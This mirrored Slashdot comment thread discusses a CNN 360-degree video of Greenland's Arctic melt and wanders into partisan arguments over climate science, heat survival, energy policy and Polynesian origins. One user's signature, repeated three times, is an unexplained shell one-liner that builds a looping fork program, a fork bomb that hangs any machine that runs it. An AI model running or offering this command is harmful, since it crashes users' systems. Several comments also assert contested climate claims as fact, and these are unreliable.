Slashdot Mirror
CNN Visualizes Climate Change-Driven Arctic Melt With 360-Degree VR Video (cnn.com)
dryriver writes: CNN has put up a slickly produced and somewhat alarming 360-degree browser video experience that allows the viewer to see firsthand what arctic melt looks like in Greenland. The video takes the viewer to the "Ground Zero" of climate change. Throughout the 7-minute long video, the viewer can interactively look around the locations visited. Voice narration and various scientists featured in the video explain what is happening in the Arctic, what causes the melting, and what the potential consequences are for the world.
Totally fake news. They called the video "VR" but it was only 360: not VR. The information they conveyed was certainly educational though.
Let's make like a bird... and get the flock outta here.
Why is /. posting stories from this garbage source? BeauHD is a far-left antifa type methinks.
Nor is the plural of '360-degree browser video experience'.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
they refused to release before and after pics, so this isn't very convincing evidence. It's almost like they're trolling.
Yawn....
'When the external environmental temperature tips above our body temperature we begin to slow cook within our own skin unable to release heat."
That isn't true at all. Otherwise everyone would be dead in summer. Amazingly we have all survived, and people actually live in hot environments before airconditioning existed. I know, hard to believe, but AC didn't always exist and people actually lived in deserts.
Your partially correct, partially wrong.
If we have shade and cover and water we can survive, uncovered and exposed it's a matter of physics that external temperatures above our body temperatures lead to hyperthermia.
Most desert dwelling people adapt by the usage of water and coverings designed to deflect heat as well as staying out of direct sunlight during high noon periods.
We do sweat to cool down, but can only do so to the point we exhaust our internal water supply and even then this is only partially effective and dependent on the unique physiology of each individual.
A population also has a spectrum of people. Children, the elderly, and the obese are more susceptible to high temperatures and heat stroke.
CNN does a pretty good job scaring people. A man produced a short video making fun of them, and when Trump retweeted it, they threatened him into silence. They forced him to apologize, delete all his social media posts, and forever remain silent under pain of being doxxed.This happened. Their confession is right here. This wasn't some mafia don, CNN did this. It wasn't just to silence the offender, but to pre-emptively silence anyone else from attempting to mock CNN, as stated in their confession. Honestly I don't know how they got away with it without being prosecuted. Yes, they can be very scary.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
There was a little cardboard viewer icon in mobile chrome. Will that work with other VR?
I am continually amazed by your ability to comment on Trump regardless of the subject of the article. It's incredible - after only a year of him being president, you've somehow managed to condition yourself to immediately think about him no matter the stimuli. Rent-free, indeed.
Even in Texas, where climate change doesn't exist, cough, "Temperature extremes have far-reaching consequences nationwide. Public health impacts, including mortality, have been well documented"
https://www.dshs.texas.gov/chs...
I saw on Fox, one Officer Barbrady said there's nothing to see here, move along.
CNN does a pretty good job scaring people.
There's a reason they used the voice of Darth Vader to say "This is CNN".
https://youtu.be/BuHfSo5YI_M
When the external environmental temperature tips above our body temperature we begin to slow cook within our own skin unable to release heat.
Only when the humidity in the air is 100%. Otherwise, regular old sweating will reduce body temperature through evaporative cooling. Drinking cool water, having air conditioning and/or refrigeration all help too.
I think of CNN as fake news as much as the every other next guy and don't buy into the global warming crusade but I like this video. It's just cool to watch.
I think this was the whole movie water world. Perhaps CNN missed it.
You know what they say. You always pull the pigtails of the girl you fancy.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I saw in the news somewhere that CNN had replaced all their on-air reporters with animatronic puppets. So I turned on CNN and watched for a few minutes. It appears to be true!
It's 36C where I'm sitting right now. Most folks here think this is pretty comfortable. But I guess if the temp goes up one degree this afternoon we're all gonna die??
CNN Visualizes Climate Change-Driven Arctic Melt With 360-Degree VR Video
It must have been something you assimilated. . . .
36C is comfortable to you? Where do you live, Death Valley without an AC?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Easy. It's a pretty big asshole they're dealing with, there's plenty of room for the camera team.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Ho Chi Minh City =)
You're missing out, they're better at lampooning news formats than Weekly World News and The Daily Show combined.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
And if it is, there's not one F'n thing that we can do about it. We don't have the tech to NOT burn fossil fuels. Try it, and food doesn't get to market, commerce goes to near-zero, people starve, etc. We _need_ the energy from fossil fuels, and whining about it just won't change that.
Wind and solar is cool, we should keep building it, and battery tech is getting better too. Will battery tech get to the point that it can replace the internal combustion engine? Maybe. If not, we then have to figure out how to deliver grid electricity to a car / truck / airplane / ship / etc. in motion.
And if this warming is due instead to natural forces as some believe, then we should be pouring a lot of effort into geo-engineering, which may be the only way to mitigate the temperature rise.
Ah, around the corner from hell, explains the temperature.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Ha! First post with a clue. Yep, we don't have the tech to stop using fossil fuels. So, what we should probably be doing is working on that AND geo-engineering. One of them may eventually work. But the global warming people hyperventilate when you mention geo-engineering, its almost like they want to push their scarecrow to attempt to wreck the world economy by "conserving" fossil fuel usage when its not really possible. Couldn't be that, could it?
I doubt it, this looks like another ice melts in summer shock video paid for by previously big oil companies that now arenâ(TM)t so big since their oil feilds ran dry.
we should be getting the propaganda begging for money to pay the Chinese for more solar cells again any day now.
And what I never understood is why Canada is as environmentally responsible as it is. The warming affects northern climates more, it would improve thier growing seasons and bring profitable new crops. Admittedly, thier ice roads will cease to work, but what the hell, a few years later after all that melted permafrost vents its methane, there won't be as much swamp and you could put real roads in. It amazes me Canada isn't doing more to make Canada first.
They didn't say nobody dies from the heat, they said if the prior claims were true everybody would die in much of the world each summer. Heat stroke is a result of not preparing for the heat, but with a little preparation and hydration heat stroke is not a major threat. Try conducting combat operations in fully body armor in 140 F temps (60C). It's not pleasant but not deadly (other than the combat part).
The fearmongering of the troll post claims that temps above 37 degrees C will result in extinction level death rates. That is pure BS, and such temps are not predicted. Shade, water, breezes and winds and night will not go away and all help us survive high temps. As the planet heats the atmosphere will hold more moisture and more energy which will lead to more storms. Yes some areas will likely see desertification, but others will see increases in moisture levels. My own rather dry area (Mountain West region of the US) will only see an increase in moisture as most of our moisture is captured by the mountains. This will continue as the warmer air, carrying more moisture hits the mountains and cools as it climbs. This reduces the carrying capacity of the air and the water condenses and precipitates. The planet has been far warmer in the past and vegetation was far more rampant (which will actually help remove CO2) in that warmer world.
That's cute, but the sunspot cycle is the first thing everyone looked at. Sorry, no match.
Taipei can get above 37% and is very humid. Humidity never gets to 100% but it's dang hot and humid
http://www.taiwan.climatemps.c...
Humans have been living in conditions like this long before there was airconditioning.
Then again maybe that's the reason people decided to do the contemporary equivalent of an interstellar journey - a series of risky boat journeys across the pacific eventually reaching Hawaii
Sure a lot of people must have ended up dieing of thirst in the middle of the Pacific ocean but perhaps it was better than staying in a place where the climate was literally like ass.
http://www.economist.com/node/...
https://archive.fo/BSsEl
MAORI legend has it that Polynesians originated from a place called "Hawaiki". Where Hawaiki was located is a mystery. But the toings and froings of the Polynesians-arguably the greatest seafarers in history-have long intrigued researchers of an anthropological turn of mind, and two of them, Jean Trejaut and Marie Lin of Mackay Memorial Hospital in Taipei, think they know the answer to the riddle of Hawaiki: Taiwan.
This is not a total surprise. Linguistic evidence pointed that way already. But, in a study just published in Public Library of Science Biology, Dr Trejaut and Dr Lin nail the question down with that talisman of modern research, genetics.
Present day Taiwan has a population of 23m, but only 400,000 are descended from the island's original inhabitants (the majority of the population is descended from mainland Chinese who have settled there over the past 400 years). Those 400,000 speak-or, at least historically spoke-languages belonging to a group known as Austronesian, which is unrelated to Chinese, but includes the Polynesian tongues. Indeed, small though the aboriginal Taiwanese population is, it accounts for nine of the ten linguistic sub-families of Austronesian. Hence the supposition that Hawaiki might be Taiwan.
To check this out, Dr Trejaut and Dr Lin decided to look at variations in mitochondrial DNA. This is passed from mother to offspring without genetic admixture from the father, because it is found in the bodies of cells-including, crucially, egg cells-rather than in the cell nuclei where the rest of the genes reside. (Sperm jettison their mitochondrial DNA at fertilisation.) That makes tracing mutations through the generations easier than looking at those genes that get mixed up by sex.
In a study involving 640 people from nine Taiwanese tribes, Dr Trejaut and Dr Lin found three mutations shared by Taiwanese, Polynesians and Melanesians (who also speak Austronesian) which are not found in other Asians. So the mystery seems to have been solved at last. Where the Taiwanese came from, though, is a different question again.
Still regardless of whether the Polynesians came from Taiwan, the fact that Taiwan has been populated long enough for that to be possible shows that humans can exist just fine in an environment which is hot and humid. Hell even non Taiwanese like me can adapt to it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If you wish to prove a point, claiming "I already did!'" is not evidence. Global warming is happening, but you must be consistent and not lie to convince others. 2017 arctic ice is within historical norms unless very, very careful selection of beginning and ending years to start at peaks (1972, 1981, 1996, 2008) and end in valleys (1985, 1995, 2007, 2013, 2016).
I agree with your points that it's important to be careful with data, but no, at the moment it looks like Arctic ice is significantly lower than historical norms. Here's the graph as of last month: http://nsidc.org/arcticseaicen...
Interactive chart is here: https://nsidc.org/arcticseaice...
If you want total volume, and not coverage, the best data is from the NASA GRACE mission (measuring gravity). That mission is now over. But here's data: http://polarportal.dk/en/groen... , and here's a visualization through 2014: https://gracefo.jpl.nasa.gov/r...
http://www.geoffreylandis.com
And if it is, there's not one F'n thing that we can do about it. We don't have the tech to NOT burn fossil fuels.
But we do have the tech to use them much much more efficiently.
A lot is already being done. Solar power is being implemented on a large scale, for example.
My suggestion for what else to do would be to put some next-generation nuclear power plants into operations. We basically know the problems with nuclear power now; and it is possible to design better power plants; let's do it.
Try it, and food doesn't get to market, commerce goes to near-zero, people starve, etc. We _need_ the energy from fossil fuels, and whining about it just won't change that.
The fact that we can't (easily) drop fossil fuel use to zero doesn't mean that we can't reduce the use, and make wise choices about what applications we need fossil fuels for, and what we don't.
Wind and solar is cool, we should keep building it, and battery tech is getting better too. Will battery tech get to the point that it can replace the internal combustion engine? Maybe. If not, we then have to figure out how to deliver grid electricity to a car / truck / airplane / ship / etc. in motion.
Agree, all good ideas.
And if this warming is due instead to natural forces as some believe,
It's not. Really. We've been looking at the inputs and outputs very extensively, and with a very large amount of data (climate science actually is grounded in data), and there just isn't enough variation in natural inputs to account for the changes seen.
then we should be pouring a lot of effort into geo-engineering, which may be the only way to mitigate the temperature rise.
No, if our models of climate were so wrong that we can't even understand what causes warming now, it would be suicidal to mess around with the controls we don't understand.
http://www.geoffreylandis.com
It's really an impressive piece of software. In skilled hands it can fool just about anyone.
An animated video with no basis in reality does not constitute scientific evidence. Especially from CNN which has demonstrated a long history of deceiving the public.
Eternity: will that be smoking, or non-smoking? I Corinthians 6:9-10
If we were to geo-engineer, we should do it in a reversible manner. That is, say, do something in outer space that we could reverse by crashing whatever it is back into the ocean, rather than doing something to the ocean itself and maybe have that run away with itself and turn the planet into a snowball. Using biological entities to change things would seem particularly dangerous since they range from difficult to impossible to control if they start doing something counterproductive.
And I don't think "reducing" CO2 production is effective enough to contemplate. We need to zero CO2 production so that the atmosphere can start cleansing itself, rather than just increase the CO2 concentration more slowly.
With the big dollar signs at the end of the rainbow for anyone that can make our transport systems run on electricity, and for efficient wind and solar where the fuel cost for all is $0, we probably really don't have to do anything other than 1) make industry cheaper to do (what the President is trying to do with his tax cuts) and 2) Get the hell out of the way (stop impeding things with laws and regulations.) Someone will figure out the ultimate wind machine or solar electric generator, and someone else will either figure out the magic battery or a way to use grid electricity (I know one way... lots of infrastructure building associated with it) and we'll get our zeroized CO2 society. Probably 50 years from now before we can do it. But if we do it without making things more expensive because we're trying to do things before we're ready, we might not kill so many people by plunging them into poverty. Poverty kills more efficiently than even smoking. Smoking will take 7 years off your life on average, but living in poverty will take 10 years off your life - froze to death in a refrigerator carton under a bridge, failed to go to the doctor for lack of money and found to be terminal in the ER when the pain got too great, etc. Anyway, I think the best thing to do is to promote industry to the max, and let whatever genius tries the hardest succeed in saving us with electrical ways to do things. Electric cars are getting around 3 mi / KwH and a KwH around here is 12.5 cents. That's 33.3 KwH / 100 miles and therefore $4.16 / 100 miles. At 27 mi / gallon of premium at $2.70 / gallon, that's $10 / 100 miles, far more expensive, and electric would probably still be faster off the line than my very-quick Subaru WRX. Do I want an electric car like that? You bet. I sold my 2012 WRX in 2015, just 3 years old, with 124,000 miles on the odometer. Could I have saved a ton of money on fuel if it was electric and otherwise performed like my WRX? You bet. Some genius is just going to have to figure out how to refuel the car in the same time as gasoline - I drive 600 - 800 miles a day when I travel and that doesn't allow for sitting around for 1/2 hour each fueling, and the power companies are going to have to supply the electric. Hey, maybe charging electric car batteries AT the solar farm during the sunshine, and then trucking them to the refueling points out by the interstate will get around the devaluation of solar electricity that occurs now because of the oversupply of it when the sun shines, and the complete lack of it when it doesn't. Just some thoughts - hope it happens - I'm 70 and will be unlikely to see it. They'll probably figure all this out maybe 50 years from now, which will be plenty of time to start reversing the concentration of CO2 in the atmosphere.
Oh, yeah,one other thing we could do to improve the CO2 situation is to wrest manufacturing from the likes of China, India, and the rest of the otherwise 3rd-world places where they use coal and get them into the USA by beating the hell out of those places in the marketplace. No, that isn't a function of those country's low wages, it is a function of our egregious income taxes. Zero the income taxes in the USA, and we could end up with the vast majority of the world's manufacturing, and would make things cleaner because of
sorry there is no way that 36c without ac is comfortable. Unless you are posting from the pool, in the shade, with a breeze and many many iced drinks available.
you might as well say -30 is comfortable. I've been in both extremes (canada) and its really not. Both these extremes you have to make many adjustments to your regular life to live in. For instance adding or removing layers of clothing, drinking more water, or covering all exposed flesh in the case of extreme negative temps.
You may have been socialized to your environment, such as not needing to wear pants, to make yourself more comfortable. And i get that people get "used to" a situation. But the body puts out a lot of sweat at anything above +30, so i cant imagine you not sweating if you dont have a fan. If you have a fan, then its not ambiently "comfortable" now is it.
As a potential lottery winner, I totally support tax cuts for the wealthy
You raise an excellent point!
I've calculated my velocity with such exquisite precision that I have no idea where I am.
For a long time, that phrase from James Earl Jones held the record for most $$ paid per word spoken. Probably still does, but I'm not going to check from work.
He's getting rather old, but he's a good mouse.
The technology we do have is not net-zero impact either. It takes energy to make electric cars and the batteries to run them, solar panels, wind mills, etc. The batteries weigh a lot, they're expensive to produce, and environmentally hazardous to dispose of. Wind mills... huge cost to build. They rarely produce energy when it's actually needed. You can't base load with them. If it weren't for tax payer subsidies they'd be DOA. When they break down they're an eye sore, and they're also expensive to maintain. Ever see the ones in CA with oil streaming down the sides? Bet that's great for the environment. Solar panels are a little better, but even then they degrade over time, also cost a lot to produce and maintain, and have a substantial environmental impact on the disposal side. So yeah, they certainly have an agenda that has absolutely nothing to do with preserving the environment. Economic starvation is one possible explanation. However, I'm inclined to believe they'd just like to keep receiving funding to solve a problem that doesn't exist. An attempt to create an industry off of bogus assumptions. Plus what better cause to get behind for a politician than one that never existed in the first place? You get a blank check to solve a problem and you spend it however you see fit. Decades down the road when there's no problem you can be the hero.
I don't believe in karma, I just call it like I see it.
Naw broham. I don't post to /. while standing in the sun. When I wrote that I was sitting at an outdoor cafe, under shade, next to an artificial waterfall. Maybe fan maybe not - wasn't obvious. Still pretty comfortable, no AC needed.
But it does take a while to get used to high temperatures. You know you're half way there when you can (willingly) wear long sleeves and an undershirt in >90F.
No, the chart gave the average from 1981 to 2010, and also the the two standard deviation error bar. This is an example of how to do statistics right: compare to averages, show standard deviations, and link to the data.
And 1981 is not "a peak"-- in fact, if you look at the data (I assume you didn't), it is pretty much identical to 1979, 1980, 1982, or 1983.
The interactive version is here, allowing you to look at individual years: https://nsidc.org/arcticseaice...
http://www.geoffreylandis.com
My suggestion for what else to do would be to put some next-generation nuclear power plants into operations. We basically know the problems with nuclear power now; and it is possible to design better power plants; let's do it.
I'm not against nuclear power by a long shot, but this is a bit overly optimistic. We know the problems with current nuclear power plant designs now. It is possible to design new power plants that fix the short comings of current designs, but we don't know what problems those new designs would have. Although, we can predict some of the problems with new designs, it's the ones we can't predict that are going to be the real problem. For example, Canada designed a pair of new reactors to produce medical isotopes in the early 90s. Neither reactor has ever produced any isotopes. Both reactors have been plagued by design flaws and failures, to the point where they were permanently shut down before they were ever used.
Today there are few people who can afford to test a new reactor design. Public opinion is against trying new reactors because of nuclear power's history of sensational failures, and most private companies would be literally betting their entire future on a untried design. If it didn't work they'd be left with billion dollar losses. Generally speaking, investors don't like that kind of risk.
Fanatically anti-fanatical
Let that be a lesson to you, maybe Canadians aren't as evil as you.
Fanatically anti-fanatical
"And return to the Gilded Age, where most families were literally owned by company towns and runaways were shot on site by private armed forces? No thanks."
Hadn't heard about that. Gilded age was 1865 - 1900, right? That was when many men carried firearms routinely, right? Must have been a real dangerous thing to try to chase one of those, when they can return fire.
I really doubt the ability to return to such a situation, esp. with >300,000,000 firearms in the country now.